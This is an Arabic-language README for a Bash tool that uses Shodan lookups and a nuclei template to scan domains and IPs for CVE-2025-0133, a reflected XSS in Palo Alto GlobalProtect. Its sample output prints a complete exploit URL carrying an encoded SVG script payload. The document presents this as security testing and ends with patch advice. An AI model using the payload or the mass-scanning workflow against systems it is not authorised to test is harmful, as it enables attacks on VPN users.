
تم اكتشاف ثغرة XSS منعكسة في Palo Alto GlobalProtect Gateway وPortal. يمكن للمهاجمين حقن نصوص برمجية ضارة عبر طلبات مصمّمة خصيصًا.
أداة ماسح آلية مبنية على Bash للكشف عن ثغرة CVE-2025-0133 (XSS المنعكسة) في Palo Alto GlobalProtect Gateway & Portal باستخدام nuclei و shodanx.
المؤلف:
التاريخ: 2025-06-23
الخطورة: متوسطة
معرف CVE: CVE-2025-0133
نوع الثغرة: Cross-Site Scripting (XSS) المنعكسة
تم الاختبار على: بوابة Palo Alto Networks GlobalProtect (PAN-OS)
تساعد هذه الأداة مختبرِي الاختراق وباحثي الأمن على تحديد النطاقات أو عناوين IP المعرّضة للخطر والمرتبطة بثغرة CVE-2025-0133 بسرعة.
تستفيد الأداة من قوالب nuclei وتكامل استعلامات Shodan (shodanx) للعثور على الأهداف وفحصها بكفاءة.
shodanx على النطاقات المفردة لجمع المضيفين المرتبطين بهاnuclei مع قالب CVE-2025-0133 مخصص لفحص الأهداف.txt و .json معاً$PATHnuclei الخاص بـ CVE-2025-0133 موجود في المسار:/home/user/nuclei-templates/http/cves/2025/CVE-2025-0133.yaml (حدّث المسار حسب الحاجة)pip install git+https://github.com/RevoltSecurities/ShodanX
إذا ظهر الخطأ: "error: externally-managed-environment"
pip install git+https://github.com/RevoltSecurities/ShodanX --break-system-packages
⚠️ ملاحظة: خيار
--break-system-packagesمطلوب على بعض الأنظمة (خاصة Debian/Ubuntu) للسماح لـ pip بتثبيت الحزم خارج البيئة الافتراضية دون أخطاء تتعلق بالصلاحيات.
👉 تأكد من أن shodanx متاح في $PATH على نظامك.
يمكنك اختباره باستخدام:
shodanx -h
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
تحقق من التثبيت:
nuclei -version
ثم حدّث القوالب:
nuclei -update-templates
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh -h
Usage: ./cve20250133.sh <domain-or-file>
Scan CVE-2025-0133 vulnerabilities using nuclei and shodanx.
If input is a file, scan domains/IPs from the file.
If input is a domain, run shodanx to find related IPs/domains and scan them.
Options:
-h, --help, help Show this help message and exit.
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh domain.com
Scan Start Time: 2025-06-24 16:33:51
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-INTELEON404
[✔] Input is a single domain: domain.com — Running ShodanX first
_ _
| | | (_\ /
, | | __ __| __, _ _ \/
/ \_|/ \ / \_/ | / | / |/ | /\
\/ | |_/\__/ \_/|_/\_/|_/ | |_/ _/ \_/
- RevoltSecurities
[version]:shodanx current version v1.1.1 (latest)
[*] Scanning domain 123.45.67.890...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 850.496188ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
┌──(user㉿administrator)-[~]
└─$ ./cve20250133.sh file.txt
Scan Start Time: 2025-06-24 16:36:37
▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▗ ▄▖▄▖
▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖▛▌▜ ▄▌▄▌
▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ █▌▟▖▄▌▄▌
-INTELEON404
[✔] Input is a file: file.txt — Skipping ShodanX
[*] Scanning domain 123.45.67.890 ...
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.5
projectdiscovery.io
[INF] Current nuclei version: v3.4.5 (latest)
[INF] Current nuclei-templates version: v10.2.3 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 105
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Scan completed in 28.825193ms. 1 matches found.
[CVE-2025-0133] [http] [medium] https://123.45.67.890/ssl-vpn/getconfig.esp?client-type=1&protocol-version=p1&app-version=3.0.1-10&clientos=Linux&os-version=linux-64&hmac-algo=sha1%2Cmd5&enc-algo=aes-128-cbc%2Caes-256-cbc&authcookie=12cea70227d3aafbf25082fac1b6f51d&portal=us-vpn-gw-N&user=%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E&domain=%28empty_domain%29&computer=computer
------------------------------------------------------
ثغرة Cross-Site Scripting (XSS) المنعكسة في Palo Alto GlobalProtect Gateway & Portal تسمح للمهاجمين بحقن سكربتات ضارة عبر طلبات مصممة خصيصاً. قم بتصحيح أنظمتك من خلال التحديث إلى أحدث إصدارات Palo Alto Networks للتخفيف من هذه المشكلة.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.